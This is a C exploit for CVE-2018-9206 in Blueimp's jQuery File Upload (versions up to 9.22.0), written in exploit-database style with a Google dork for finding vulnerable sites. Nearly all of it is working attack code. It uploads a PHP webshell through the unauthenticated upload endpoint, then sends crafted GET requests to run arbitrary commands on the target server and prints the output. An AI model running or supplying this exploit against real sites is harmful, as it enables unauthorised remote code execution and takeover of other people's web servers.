# Exploit Title: Exploit for Blueimp's jQuery File Upload <= 9.22.0 CVE-2018-9206 # Google Dork: inurl: /jquery-file-upload/server/php # Date: 1/15/2019 # Exploit Author: Larry W. Cashdollar # Vendor Homepage: http://www.vapidlabs.com # Software Link: [download link if available] # Version: <= 9.22.0 # Tested on: Linux # CVE : CVE-2018-9206 /*Exploits CVE-2018-9206 to install a webshell.*/ /*http://www.vapidlabs.com/advisory.php?v=204 */ /*$ gcc main.c -o blue_exploit */ /*Larry W. Cashdollar @_larry0*/ #include #include #include #include #include #include #include #define BSIZE 1024 #define DEBUG 1 #define TESTONLY 0 void build_string (char *p, char *path, char *arg, char *ar1, int func); int main (int argc, char *argv[]) { int sock = 0, bytes_read = 0, total = 0, function = 0; struct sockaddr_in serv_addr; char buffer[BSIZE] = { 0 }, payload[BSIZE] = { 0}; if (argc <= 1) { printf ("CVE-2018-9206 Exploit\n@_larry0\nUsage: %s hostname port path command\n", argv[0]); return (0); } if (argc == 5) function = 1; if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("\nSocket creation error\n"); return (-1); } build_string (payload,argv[3] ,argv[1], argv[4], function); if (!TESTONLY){ memset (&serv_addr, 0, sizeof (serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons (atoi (argv[2])); if (inet_pton (AF_INET, argv[1], &serv_addr.sin_addr) <= 0) { printf ("\nInvalid address.\n"); return (-1); } if (connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr)) < 0) { printf ("\nConnection Failed.\n"); return (-1); } send (sock, payload, strlen (payload), 0); } if (DEBUG) printf ("\nSending Payload:\n%s", payload); if (!TESTONLY) { while (1) { bytes_read = recv (sock, buffer, BSIZE, 0); total += bytes_read; if (bytes_read <= 0) break; printf ("%s", buffer); bzero (buffer, BSIZE); } printf ("\n[+] Total bytes read: %d\n", total); close (sock); } return (0); } void build_string (char *p, char *path,char *arg, char *ar1, int func) { if (func) snprintf (p, BSIZE, "GET /%s/files/shell.php?cmd=%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\n\r\n", path,ar1, arg); else snprintf (p, BSIZE, "POST /%s/index.php HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\nContent-Length: 244\r\nContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\r\n\r\n--------------------------c8e05c8871143853\r\nContent-Disposition: form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n\r\n--------------------------c8e05c8871143853--\r\n\r\n",path, arg); }